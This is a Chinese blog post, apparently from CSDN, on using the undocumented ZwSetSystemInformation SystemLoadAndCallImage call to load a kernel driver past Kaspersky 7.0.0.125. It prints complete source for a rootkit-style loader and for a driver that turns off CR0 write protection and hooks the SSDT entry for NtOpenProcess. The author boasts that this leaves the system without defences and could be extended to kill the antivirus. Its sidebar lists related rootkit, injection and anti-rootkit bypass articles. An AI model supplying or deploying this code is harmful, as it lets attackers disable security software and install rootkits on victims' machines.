ZwSetSystemInformation的使用

通过ZwSetSystemInformation和ZwLoadDriver加载驱动 入手阶段,先收集了两个driver的loader的代码,两者都是通过从ntdll.dll的导出的内核函数进行动态的驱动加载,这两个方式都是通常比较常见的方式.我这里对收集到的代码进行了整理,分离,修改,并在我机器WinXP SP2+VS 2005下编译测试 阅读详情
實驗對象:卡巴7.0.0.125
實驗函數:ZwSetSystemInformation
實驗內容:繞過卡吧裝驅動(多麽恐怖的事),結果將會使系統失去防禦
 
// TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.
//
 
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
////////////////////////////////////////
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com/
////////////////////////////////////////
/*
有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》
ZwSetSystemInformation设置影响操作系统的信息,定义如下:
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSystemInformation(
     IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
     IN OUT PVOID SystemInformation,
     IN ULONG SystemInformationLength);
 
参数:
     SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是
 
SystemInformation:
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{
     UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
 
     SystemInformationLength:長度sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)
 
成员:
     Module:要加载模块的NATIVE NT格式的完整路径
 
备注:
     这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。
 
SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的
SystemInformationClass来设置它
*/
 
//*-----一些數據類型的定義開始--------------
typedef unsigned long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
 
typedef struct _UNICODE_STRING
{
     USHORT Length;
     USHORT MaximumLength;
     PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
 
typedef VOID (__stdcall *RTLINITUNICODESTRING)(
     IN OUT PUNICODE_STRING DestinationString,
     IN PCWSTR SourceString
);
 
typedef NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)(
     IN DWORD SystemInformationClass,
     IN OUT PVOID SystemInformation,
     IN ULONG SystemInformationLength
);
 
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
     UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
 
#define SystemLoadAndCallImage 38
//*-----數據類型的定義結束--------------
 
void main(void)
{
     SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
     RTLINITUNICODESTRING RtlInitUnicodeString;
     ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
 
     if( !(RtlInitUnicodeString =
         (RTLINITUNICODESTRING) GetProcAddress(GetModuleHandle("ntdll.dll"),
         "RtlInitUnicodeString")) )//在ntdll.dll中获取RtlInitUnicodeString地址
         exit(1);
 
     if( !(ZwSetSystemInformation =
         (ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll"),
         "ZwSetSystemInformation")) )//在ntdll.dll中获取ZwSetSystemInformation地址
         exit(1);
 
     RtlInitUnicodeString( &(GregsImage.ModuleName),
         L"//??//C://NtOpenProc.sys" );//加載的驅動就是這個了
 
     if( NT_SUCCESS(ZwSetSystemInformation( SystemLoadAndCallImage,
         &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))//加载进内核空间
         printf("Rootkit Loaded./n");
     else printf("Rootkit not loaded./n");
}
驅動源碼是來自优快云上的一篇文章的,內容是還原SSDT并可以繞過Inline Hook的(還原對象是NtOpenProcess),忘了文章的名稱,作者抱歉.
 
#include<ntddk.h>
 
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
     PVOID ServiceTableBase;
     PULONG ServiceCounterTableBase;
     ULONG NumberOfService;
     ULONG ParamTableBase;
} SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; //由于KeServiceDescriptorTable只有一项,这里就简单点了
extern PSERVICE_DESCRIPTOR_TABLE    KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数
 
//---------------------------------------------------------------------
__declspec(naked) NTSTATUS __stdcall MyNtOpenProcess(
     PHANDLE ProcessHandle,
     ACCESS_MASK DesiredAccess,
     POBJECT_ATTRIBUTES ObjectAttributes,
     PCLIENT_ID ClientId)
{
     DbgPrint("NtOpenProcess() called");
     __asm
     {
         push    0C4h
         push    804eb560h //共十个字节
         jmp    [JmpAddress]  
     }
}
//---------------------------------------------------------------------
VOID Hook()
{
     ULONG Address;
     Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A为NtOpenProcess服务ID
     DbgPrint("Address:0x%08X",Address);
 
     OldServiceAddress = *(ULONG*)Address;//保存原来NtOpenProcess的地址
     DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);
 
     DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);
 
     JmpAddress = (ULONG)NtOpenProcess + 10; //跳转到NtOpenProcess函数头+的地方,这样在其前面写的JMP都失效了
     DbgPrint("JmpAddress:0x%08X",JmpAddress);
 
     __asm
     {//去掉内存保护
         cli
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
     }
 
     *((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT
 
     __asm
     {//恢复内存保护
         mov eax,cr0
         or eax,10000h
         mov cr0,eax
         sti
     }
}
 
VOID Unhook()
{
     ULONG Address;
     Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//查找SSDT
 
     __asm
     {
         cli
         mov eax,cr0
         and eax,not 10000h
         mov cr0,eax
     }
 
     *((ULONG*)Address) = (ULONG)OldServiceAddress;//还原SSDT
 
     __asm
     { 
         mov eax,cr0
         or eax,10000h
         mov cr0,eax
         sti
     }
}
//---------------------------------------------------------------------
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
     Unhook();
}
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
     DriverObject->DriverUnload = OnUnload;
     Hook();
     return STATUS_SUCCESS;
}
好了,可以測試結果了,加載驅動是成功的,卡巴沒反應,此時用普通的軟件(例如:Syscheck2)都可以看到卡巴加載的模塊了,我就寫還原NtOpenProcess而已,但如果加多幾個函數,例如ZwTerminateProcess咧,那個恐怖,任務管理器就可以輕鬆結束掉卡吧(不過卡巴7嘛,沒那麽容易結束的,哈哈).
 
通过ZwSetSystemInformation在驱动中加载驱动 环境:win7 32 ,材料: ntoskrnl.exe , spldr.sys spsys.sys 看到一个文件叫spldr.sys,loader for security processor,一个加载器。于是就进去看看如何实现的。在spldr.sys 里面看到字符串 SystemRoot\system32\drivers\spsys.sys ,应该就是要加载这个驱动了。再看字符串的引用位置,发现调用ZwSetSystemInformation,应该就是通过这个函数来加载驱动的。下面是调用情况: . 阅读详情

相关推荐

动态加载驱动程序源代码

源代码包含三种不同的驱动加载方法,使用ZwSetSystemInformation函数加载驱动,使用NtLoadDriver函数加载驱动,使用服务控制管理器加载驱动,还包括三种线程注入技术,使用RtlCreateUserThread 函数注入线程,使用CreateRemoteThread函数注入线程,使用NtCreateThreadEx函数注入线程,源代码包含C,C#的demo

zwSetSystemInformation加载驱动

zwSetSystemInformation函数是个未公开的函数,调用38号会加载驱动,对应的第二个参数为SYSTEM_LOAD_AND_CALL_IMAGE结构体,第三个参数为SYSTEM_LOAD_AND_CALL_IMAGE结构体的长度.. #include #include #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >

小驹的专栏 4699

从牛顿冷却定律到热传导方程:一维热传导方程的物理直觉与数学推导

本文从牛顿冷却定律出发,结合傅里叶热传导定律和能量守恒原理,系统推导了一维热传导方程的数学形式。通过微元分析和物理直觉,揭示了温度随时间变化与空间二阶导数之间的关系,并阐释了热扩散率α的物理意义。文章还探讨了方程的边界条件、数值解法及其在材料科学和工程中的应用,为理解热量传递提供了清晰的物理图像和数学框架。

palm99的专栏 840

ZWSetSystemInformation加载驱动

zwSetSystemInformation函数是个未公开的函数,调用38号会加载驱动,对应的第二个参数为SYSTEM_LOAD_AND_CALL_IMAGE结构体,第三个参数为SYSTEM_LOAD_AND_CALL_IMAGE结构体的长度.. [cpp]view plaincopyprint? #include<...

weixin_34389926的博客 365

Flutter 直接调用so动态库,或调用C/C++源文件内函数

我把 .so 文件尝试放过好几个目录/lib/,最终都会报这个错误,现在才知道库文件需要放在你根本想象不到的地方!!!尝试了一些方法还是不行后我放弃了 ffi,想着用 Flutter 的 MethodChannel 桥接 android/ios 原生,再让原生去调 native 层。一顿操作把Android端的搞定了,当然中间涉及到 Kotlin和C++ 层的数据类型映射的痛苦,而且业务函数也不像一个 helloworld 那么简单,别提有多痛苦了。

开发以大橘为重 8353

Windows 10下Carla 0.9.15安装避坑指南:从下载到运行的全流程解析

本文详细解析了在Windows 10系统上安装和运行Carla 0.9.15自动驾驶仿真平台的全流程。内容涵盖从系统环境准备、资源下载、Python依赖安装,到首次启动验证及常见错误(如DLL缺失、显卡驱动问题)的深度解决方案,旨在帮助用户快速搭建稳定的开发环境,并运行第一个自动驾驶Python脚本。

alice7model的博客 547

一个加载驱动的API - ZwSetSystemInformation

ZwSetSystemInformation( IN SYSTEM_IMFORMATION_CALSS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength); 第一个参数:SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORM...

4SecNet团队专栏 725

这款值68亿的游戏,你不实战一下吗?安排!

本文介绍了如何使用Cocos开发传送带像素消除类游戏。游戏包含像素画、传送带、炮台等核心元素,需要先解析图片生成像素数据,再通过关卡编辑器设计关卡机制。炮台会在传送带上环绕运动,发射子弹消除匹配颜色的像素点。文章详细讲解了游戏对象实现方法,包括像素生成、传送带运动轨迹、炮台瞄准算法等,并展示了实战效果。完整源码已集成到亿元Cocos小游戏实战合集中,适合对像素消除游戏开发感兴趣的开发者参考。

lsw_Cs的博客 439

ZwSetSystemInformation释疑

ZwSetSystemInformation比较特殊,用了那段经典的加载方法,会发现老是加载不成功,到底成不成呢?我用VMWARE+WinDbg测试了,lm,发现服务列表里面是有了的,但是dbgview没有输出。在这里(http://hi.baidu.com/hypkb/blog/item/fe58b7830b377498f603a6f4.html)找到这样一段话: 起初是在那本书上面看到的,可惜怎么试都是失败,本身很简单就调调API的问题,再后来看到这篇:用SystemLoadAndCallImage加载

Rookie Rock 1662

Spring AI 实战:第二章、Spring AI提示词之玩转AI占卜的艺术

引言:程序员的神秘学探索引言:程序员的神秘学探索“下个迭代能按时发布吗?“这次晋升机会有多大?“我写的代码为什么总在半夜出bug?作为一名开发者是否也曾被这些略带玄学问题困扰?那让我们用Spring AI和提示词工程打造一个专属于程序员的"赛博占卜师",让大师来为你占卜一卦吧~一、提示词工程 - 与AI对话的艺术1.1 提示词工程是什么类比一下,AI就像一位刚从名校毕业的高材生它知识渊博但缺乏经验能解决复杂问题但需要明确指引有时会"过度脑补"(专业术语叫"幻觉")

liaokailin的专栏 1853

硬件基础知识-电机知识

步进电机存在空载启动频率,所以步进电机可以低速正常运转,但若高于一定速度时就无法启动,并伴有尖锐的啸叫声;在非超载的情况下,电机的转速、停止的位置只取决于脉冲信号的频率和脉冲数。给电机两根线供电,电机就可以旋转,给正电压,电机正转,给相反电压,电机反转;电压越大,电机转得越快,电压越小,转速也变小。是一种直流电机,有刷电机的定子上安装有固定的主磁极和电刷,转子上安装有电枢绕组和换向器。控制器:使用专用的电子控制器来监测和控制电机的转速、电流和方向。线圈电流方向的交替变化是随电机转动的换相器和电刷来完成的。

weixin_46969363的博客 2297

通过ZwSetSystemInformation和ZwLoadDriver加载驱动(转)

通过ZwSetSystemInformation和ZwLoadDriver加载驱动(转)2007-09-29 09:13这段时间接触了一点点windows内核以及驱动编写的东西.深知其博大精深难以学习.入手阶段,先收集了两个driver的loader的代码,两者都是通过从ntdll.dll的导出的内核函数进行动态的驱动加载,这两个方式都是通常比较常见的方式.我这里对收集到的代码进行了整理,分离,修

lionzl的专栏 1816

基于STM32L4XX、HAL库的STS40-CD1B-R3温度传感器 驱动程序设计

/ HAL库需要左移一位。// 每2秒读取一次。// 等待测量完成 - 高精度模式大约需要15ms。// 执行软复位确保传感器处于已知状态。温度测量范围:-40°C ~ +125°C。湿度测量范围:0% ~ 100% RH。// 复位后需要等待至少1ms。// 初始化STS40传感器。// 读取温湿度数据。// 转换原始数据为实际值。// 发送读取序列号命令。// 读取序列号数据。湿度精度:±1.5% RH。

zhusl6688的博客 287

ZWSETSYSTEMINFORMATION过卡巴

一段算是针对卡巴的程序2007-07-08 22:06 OD代码:0040130B    |.    68 54304000     push      00403054                           ; /Arg1 = 00403054 ASCII "a

1386

机器翻译的评价标准:BLEU、ROUGE等指标说明及代码实现

机器翻译领域常用的自动评价指标主要包括BLEU、ROUGE、METEOR和COMET四大类。BLEU基于n-gram精确率和短句惩罚,ROUGE关注召回率,METEOR结合精确率和召回率并考虑同义词,COMET则利用预训练模型计算语义相似度。这些指标各有特点:BLEU适用于机器翻译,ROUGE对长句友好,METEOR更接近人工评分,COMET无需参考译文。代码实现上,sacrebleu、rouge-score等库提供了便捷的计算方式。新兴趋势包括基于BERT等模型的语义评估和大语言模型评估器,但传统指标仍占

数据知道的博客 9420

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

卡巴のZwSetSystemInformation的心寒

ZwSetSystemInformation的使用,卡巴7.0.0.125的失誤.前提:好几個月前有人公布了點卡吧的失誤,當時我沒留意,前天復習好無聊,試驗了一下結果嚇了一跳.好似現在中國都是用7.0.0.125這個版本的,危險,雖然7.0.1.133已經封了這個函數了不過是英文版,沒多少人去用吧?好了,下麵直接寫源碼并解析,相信對病毒有興趣的朋友會懂吧,又可以寫一個AV終結者類的病毒了.(源

啤梨Lily的 world 1799

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

用ZwSetSystemInformation函数的SystemLoadAndCallImage调用驱动

//////////////////////////////////////// // New Deployment Module for rootkit 040 // ------------------------------------- // -Greg Hoglund http://www.rootkit.com /////////////////////////////...

weixin_33989780的博客 637

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Greg Hoglund大牛的ZwSetSystemInformation()加载驱动

这里备份一下: #include #include typedef struct _UNICODE_STRING {     USHORT Length;     USHORT MaximumLength; #ifdef MIDL_PASS

blackbean的专栏 842

加载windows驱动的几种方式

windows api加载驱动的几种方式:

要把所有那些负面的信息当做对自身行为的评价,而不是对自身价值的评判。 3374

绕过现代Anti-Rookit工具的内核模块扫描

创建时间:2007-10-24 更新时间:2007-10-25文章属性:原创文章提交:MJ0011 (tyjaaa_at_163.com)绕过现代Anti-Rookit工具的内核模块扫描(Bypass modern anti-rootkit toolss kernel mode scan)MJ0011th_decoder@126.com2007-10-24本文描述了一些方法,可以绕过目前主流的现

1379

不经过注册表的情况下加载驱动

http://blog.mmbest.com/?6576发布时间2006年10月26日  翻译发布:2006年10月29日译者按:本文提供了一种在win NT下悄声无息的加载“驱动”的方法。这里所将的“驱动”并不是指平常的驱动,而是指将程序载入系统的内核中,采用该方式将不通过任何注册表项,因此将无法使用任何方法(包括各种杀毒软件)查出这一加载项,达到隐藏自身的目的。为了翻译的方便,本人暂将里面

zgcheng的专栏 2639

用SystemLoadAndCallImage加载Rootkit

创建时间:2003-09-25文章属性:原创文章提交:Sephiroth_ (kinvis_at_hotmail.com)Sephiroth.V[前言]    我最近对NT Rootkit开始感兴趣,无奈国内的资料少得惊人,在这方面几乎是一片空白,就只有翻译的Gary Hoglund的一篇《一个修改NT内核的真实的ROOTKIT》。到国外的网站转了几天倒是收获非浅,国外在这方面的研究确实深刻多了。...

weixin_34256074的博客 84

无注册表加载驱动(2)

第二种方法如下: 一般情况下win2000启动后会开始加载特别的驱动win2k.sys。然而它并不是以其他驱动那样调用函数ZwLoadDriver, NtLoadDriver等。 事实上它是通过内核API函数ZwSetSystemInformation载入的。 该API通常用来设置类似文件分卷等系统信息,以及加载上面提到的驱动,文件缓存等等。 该函数调用方法如下: ...

weixin_34360651的博客 338
上一篇: 關于在WIN32調用一些Zw系列的文件操作函數.
下一篇: Inline Hook IofCallDriver 截获所有IRP
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值